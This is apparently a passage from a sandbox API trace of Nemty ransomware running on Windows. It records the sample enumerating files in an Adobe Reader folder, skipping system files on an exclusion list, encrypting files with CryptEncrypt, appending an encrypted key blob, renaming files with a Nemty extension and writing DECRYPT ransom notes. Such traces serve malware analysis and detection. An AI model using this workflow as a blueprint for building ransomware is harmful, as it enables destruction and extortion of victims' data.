lpNumberOfBytesRead=0x653e824*=0x3e00, lpOverlapped=0x0) returned 1 [0183.162] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.162] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e00, lpOverlapped=0x0) returned 1 [0183.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.162] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e00 [0183.162] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.162] CloseHandle (hObject=0x2e8) returned 1 [0183.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SendMail.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\sendmail.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SendMail.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\sendmail.rus._nemty_kgobjgd_")) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.163] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0183.163] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0183.164] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0183.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0183.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.167] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.167] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0183.168] CloseHandle (hObject=0x2e8) returned 1 [0183.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0183.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.170] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.170] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0183.170] CloseHandle (hObject=0x2e8) returned 1 [0183.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.171] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20d13490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20d13490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0183.171] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0183.171] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20d13490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20d13490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.171] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0183.171] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0183.171] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0183.171] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0183.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0183.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.172] Sleep (dwMilliseconds=0x5) [0183.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x20d395f0, dwHighDateTime=0x1d561e8)) [0183.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x20d395f0, dwHighDateTime=0x1d561e8)) [0183.173] GetLastError () returned 0xb7 [0183.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.173] GetLastError () returned 0xb7 [0183.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0183.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0183.173] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0183.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0183.174] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="MvFTZo35e890cvMH+OrKHt0c3ToN7VdCmY8WhpQPQGPGr6Lcj93pVwXr/nUVKweR\r\nbSBdgZJvoDNwyH1w9lj0sx0vFEGw1VmN48yDC5CWhBCjdAaO7qQSchRsWgMFyJQi\r\nI7mQMeby+39/QpkJYaHgviXxFioqT0kn5CWVQAsgVa3xysuLx0p7oMuU361QEi1E\r\nz2RqLlyAs5Rs1kITWfd9mSujefdxW80og+zn0liAJN0Fq9wdL/pwzRMUDVbJvVsW\r\ntJ71Kf6pqZuJjW7fzy/2nnsqRI9JdKm7ackK8GnnECnhQgDuUkoVRjKNmyVN8MOM\r\nZZJ2BxcErxRJ2JAAEzGtCw==\r\n", pcchString=0x653e29c) returned 1 [0183.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0183.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.174] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0183.174] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=46778) returned 1 [0183.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb6b0) returned 0x6352c48 [0183.174] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.174] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb6b0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0xb6b0, lpOverlapped=0x0) returned 1 [0183.179] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.179] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb6b0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0xb6b0, lpOverlapped=0x0) returned 1 [0183.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.179] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=46778, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6ba [0183.179] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0183.179] CloseHandle (hObject=0x2f0) returned 1 [0183.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0183.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.180] HeapFree (in: 